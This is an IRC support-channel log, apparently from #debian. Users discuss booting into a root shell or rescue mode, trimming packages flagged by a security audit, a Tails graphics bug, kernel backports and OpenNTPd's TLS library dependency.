18:07<Maarten_>sheesh --help bash: sheesh: command not found
18:07<mnuhmnuh>funny guy.
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18:08<mnuhmnuh>my 1st computer used teletype input. gui, what's that?
18:09<Maarten_>i dont even remember if i have a rescue mode entry in grub... but i will try rescue mode on next reboot.
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18:10<jmcnaught>on stretch xorg runs on tty1
18:10<jmcnaught>ttys are created on demand
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18:11<Logg>mine still runs xorg on tty7. I guess that would be a xorg setting.
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18:11<Maarten_>so how could i boot from ram / without mounting my partitions?
18:12<Logg>maarten_ easiest way I know of is to boot from a media that doesn't use either of the partitions you're trying to manipulate
18:12<mnuhmnuh>Maarten_: boot livecd/dvd, edit grub command line, add toram
18:14<Maarten_>oke can't i just make a grub item for my current system that say boot shell toram?
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18:15<mnuhmnuh>init=/bin/bash # or sumfin? debian rescue mode would be better.
18:17<mnuhmnuh>or disable X, and you'll be dumped to a login prompt.
18:20<Maarten_>mnuhmnuh: i will also try the rescue mode but to boot into shell what do with the init=/bin/bash # or sumfin?
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18:22<mnuhmnuh>Maarten_: that's just the classic way to hammer your way into single user (root) login mode; no handholding available; know what you're doing.
18:23<mnuhmnuh>not '#" is shell comment character. noop.
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18:23<mnuhmnuh>note '#" is shell comment character. noop.
18:23<Maarten_>ah thanks...
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18:26<Maarten_>well obiusly i don't really know what im doing, but i assumed it would be the same as safe as the interactive root terminal i have in mate.. is that not the case?
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18:28<mnuhmnuh>Maarten_: suspect the former is tres minimal env, busybox+dash, just enought to fsck ptns & etc. mate's root term should be same as su - in a term; fully functioning bash and vim's there and yada yada ...
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18:30<mnuhmnuh>s/former/Rescue Mode/
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18:31<Maarten_>oh ya i so the busybox + ash today on liveCD i tried, i couldn't really manage do anything...
18:33<Maarten_>oke thanks for info, will google some more.. i found lots of stuff on init=/bin/bash
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19:07<mnuhmnuh>init=/bin/bash == walkin' around with a lit stick of dynamite in each hand. enjoy.
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19:10<mnuhmnuh>got backups? :-)
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19:11<guilherme>Hi, I ran lsat to check for security problems on my system and it suggested me to remove those packages: bind9-host libbind9-140:amd64 libindicator3-7:amd64 libindicator7:amd64 libmail-sendmail-perl libnfsidmap2:amd64 nfs-common rpcbind Can I do it without compromising my system?
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19:15<mnuhmnuh>guilherme: who/what provides your system with dns? local bind, your router, your isp, google's 8.8.8.8, ...?
19:15<mnuhmnuh>guilherme: do you use nfs?
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19:16<mnuhmnuh>does anybody use rpc anymore?
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19:17<mnuhmnuh>sry, thinking rsh.
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19:18<mnuhmnuh>guilherme: i'd do research.
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19:21<guilherme>mnuhmnuh: To be honest I do not know. I will do that, Thanks. Sorry for bothering
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19:23<mnuhmnuh>guilherme: not a bother. you wondering that teaches me stuff in parallel. cat /etc/hosts ; huh. where does my dns get defined? curious. long time ...
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19:25<badargo___>ayyy u guys sound so amazing :)
19:26<mnuhmnuh>i used to know this stuff at the grotty atomic level. don't need to these days.
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19:30<cacahuatl>ricochet-im seems broken under stretch with i915 driver at the moment: intel_do_flush_locked failed: Invalid argument
19:32<mnuhmnuh>"anonymous metadata-resistant instant messaging" ; :-O terrist.
19:33<cacahuatl>:P
19:33<mnuhmnuh>:-)
19:34*mnuhmnuh plays with tails a lot, and cacahuatl ought to too.
19:35<cacahuatl>Yeah, well I'm working on getting ricochet included in Tails
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19:36<cacahuatl>So I'm trying to get an apparmor profile included in the ricochet package, which led me down the wrong direction for a while when it failed to work I thought it was apparmor, but something has broken in updates between 3.0.1 release and now
19:37<mnuhmnuh>yeah, tor, but they fixed that. i'm torrenting out fixed ver. for days now.
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19:38<mnuhmnuh>ot, sry.
19:39<cacahuatl>any points for how I can figure out where the problem is? it works fine under other intel graphics stuff and under virtualbox but one of the graphics related packages is broken (or potentially the i915 driver or kernel itself?)
19:41<mnuhmnuh>"intel_do_flush_locked failed: Invalid argument" - accessing ...
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19:42<mnuhmnuh>https://bbs.archlinux.org/viewtopic.php?id=185376
19:43<mnuhmnuh>kernel bug.
19:43<cacahuatl>in 3.16 though?
19:43<mnuhmnuh>don't use that kernewl.
19:44<cacahuatl>I'm not :P
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19:44<cacahuatl>Linux amnesia 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) x86_64 GNU/Linux
19:44<mnuhmnuh>3.16?!? i'm on 4.9.30
19:45<mnuhmnuh>ditto.
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19:45<mnuhmnuh>tails is ot in #debian; this discussion isn't welcome here.
19:47<badargo___>mnuhmnuh: whats ot?
19:47<mnuhmnuh>#debian-offtopic
19:48*mnuhmnuh just tryin' to not pee off the irc overlords.
19:49<cacahuatl>so I need to install debian, reproduce it there then come back? D:
19:49<mnuhmnuh>cacahuatl: or reproduce error on tails and report that to tails.
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19:50<mnuhmnuh>not debian prob. if you're not using debian stable.
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21:51<cef>Anyone know why (or can tell me how to find out) what's going on with linux 4.11 kernels in stretch-backports at all? I can see that it was accepted for stretch-backports back on the 14 July, but it hasn't hit the repos yet?
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22:15<BornOver>Olá eu sou novo no sistema Gnu/linux e gostaria de saber como eu estaria instalando um adaptador de rede(Archer T4U) no debian
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22:18<badargo___>lol
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22:25<mnuhmnuh>!es
22:25<dpkg>Este canal es de soporte técnico en Inglés para Debian. Si prefiere que el soporte sea en Español, puede ingresar en #debian-es tecleando /join #debian-es en la línea de chat.
22:26*mnuhmnuh not sure this anglo knows how to distinguish espanol from portugese, sorry.
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23:23<badargo___>yeah that was portuguese :P
23:23<badargo___>but he left already
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23:43<eloy_>Hi, I'm not sure if this is the right place to ask it, if anyone knows the right place i'd be grateful. The package OpenNTPd in the Debian repositories dependes on libssl, which is the OpenSSL SSL/TLS library. OpenNTPd has some security feature built-in to secure the time requests. However, this can only be used if OpenNTPd is linked agaist libtls, which is the TLS library from LibreSSL, the OpenSSL fork
23:43<eloy_>from OpenBSD. Can I submit this issue somewhere to get the dependency on libssl changed to libtls?
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23:44<eloy_>Currently, there isn't a package for libtls. I have built it already on my system, I'm reading the documentation to create a package for it.
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23:56<somiaj>eloy_: you will have to rebuild (and maybe modify) the source package to change its dependices and possibly what it links against.
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